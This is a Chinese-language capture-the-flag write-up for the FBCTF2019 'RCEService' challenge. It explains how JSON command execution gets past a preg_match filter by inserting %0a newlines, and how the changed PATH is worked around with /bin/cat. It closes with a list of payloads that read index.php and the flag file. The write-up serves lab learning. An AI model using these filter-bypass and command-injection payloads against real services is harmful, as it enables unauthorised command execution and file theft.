[FBCTF2019]RCEService
文章目录
掌握知识
json
字符串格式,命令失效(修改环境变量)--绝对路径使用linux
命令,%0a
绕过preg_match
函数,代码审计
解题思路
- 打开题目链接,发现可以通过
json
格式传递命令进行命令执行,但是不知道json
的键名,输入ls
显示无法识别,查看源代码后发现该输入框的name
信息为cmd
,确定这就是键,构建paylaod
为{"cmd":"ls"}
,抓包查看成功回显信息
- 发现命令正常执行,准备查看根目录的文件,由于是
get
传参,所以空格先编码为%20
,但是发现回显hacking
,经过测试发现是对/
进行了过滤
- 既然不能使用/,那就直接使用
cat
命令查看一下index.php
文件,发现还是不行,尝试更改cat
的格式进行绕过,发现还是不行。
- 仔细想想,既然存在过滤,多半碰到的函数都是
preg_match
,该函数可以通过换行符%0a
和数组进行绕过,因为该函数只会匹配第一行数据,除非设置了参数。所以默认为preg_match
函数过滤,构建paylaod{%0a"cmd":"cat%20index.php"%0a}
。发现还是不行,但是可以执行ls /
命令了,证明前面猜测没问题,还绕过来了过滤
- 那为什么
cat
命令还不行执行呢,都已经绕过了过滤。其实在没有限制的情况下命令还不能执行,只能是该命令被屏蔽了,但是使用其他查看文件的命令也都不可以。 - 那可能就是环境变量被更改了,需要使用命令的绝对路径来执行,也就是
/bin/cat
。再次构建paylaod{%0a"cmd":"/bin/cat%20index.php"%0a}
。成功回显了文件内容,还得到了一个病毒提示...
- 发现过滤函数确实是
preg_match
,代码的一开始就将环境变量修改了,既然flag
不在根目录下,那很可能就在这个环境变量中,查看环境变量目录结构,发现了flag
目录,cat
命令直接拿下flag
关键paylaod
php
{"cmd":"ls"}
{"cmd":"ls%20/"}
{"cmd":"cat%20index.php"}
{%0a"cmd":"ls%20/"%0a}
{%0a"cmd":"cat%20index.php"%0a}
{%0a"cmd":"/bin/cat%20index.php"%0a}
{%0a"cmd":"ls%20/home/rceserive"%0a}
{%0a"cmd":"/bin/cat%20/home/rceserive/flag"%0a}